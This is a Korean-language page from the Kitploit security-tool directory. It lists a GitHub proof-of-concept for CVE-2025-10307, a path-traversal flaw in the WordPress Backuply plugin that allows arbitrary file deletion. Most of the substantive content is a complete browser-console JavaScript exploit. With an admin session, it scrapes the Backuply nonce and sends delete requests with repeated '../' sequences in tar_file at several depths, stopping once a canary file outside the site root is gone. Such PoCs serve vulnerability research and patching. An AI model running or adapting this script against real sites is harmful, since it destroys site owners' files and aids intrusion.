Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-10307 — # CVE-2025-10307 개념 증명 익스플로잇 WordPress Backuply 플러그인의 tar_file 매개변수에서 경로 탐색을 통한 임의 파일 삭제를 시연하는 개념 증명 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/jfriedli/cve-2025-10307
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubjfriedli/cve-2025-10307

CVE-2025-10307

# CVE-2025-10307 개념 증명 익스플로잇 WordPress Backuply 플러그인의 tar_file 매개변수에서 경로 탐색을 통한 임의 파일 삭제를 시연하는 개념 증명 익스플로잇입니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

익스플로잇: Backuply를 통한 임의 파일 삭제 (tar_file 경로 탐색)

브라우저 콘솔 PoC (인증된 관리자)

root@kitploit:~
(async () => {
  const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;

  // 1) Extract a valid nonce from the Backuply page
  const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
  const doc = new DOMParser().parseFromString(html, 'text/html');

  let security = (() => {
    const btn = doc.querySelector('[name="backuply_delete_backup"]');
    if (btn) {
      const form = btn.closest('form');
      const inp = form && form.querySelector('input[name="security"]');
      if (inp && inp.value) return inp.value;
    }
    const any = doc.querySelector('input[name="security"]');
    return any ? any.value : null;
  })();

  if (!security) {
    console.error('Nonce not found');
    return;
  }

  console.log('Nonce:', security);

  // Helper: send delete request
  const postDelete = (tar_file) => fetch(page, {
    method: 'POST',
    credentials: 'same-origin',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      tar_file,
      security,
      backuply_delete_backup: 'Delete'
    })
  }).then(r => r.status);

  // Attempt path traversal deletion
  const outsideRel = 'outside/canary_outside.txt';
  const depths = [4, 5, 6, 7];

  for (const d of depths) {
    const tar_file = '../'.repeat(d) + outsideRel;

    console.log('Trying:', tar_file);
    await postDelete(tar_file);

    const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
    console.log(`depth ${d} → status ${res.status}`);

    if (res.status !== 200) {
      console.log('[+] File deleted via traversal at depth', d);
      break;
    }
  }
})();
도구 다운로드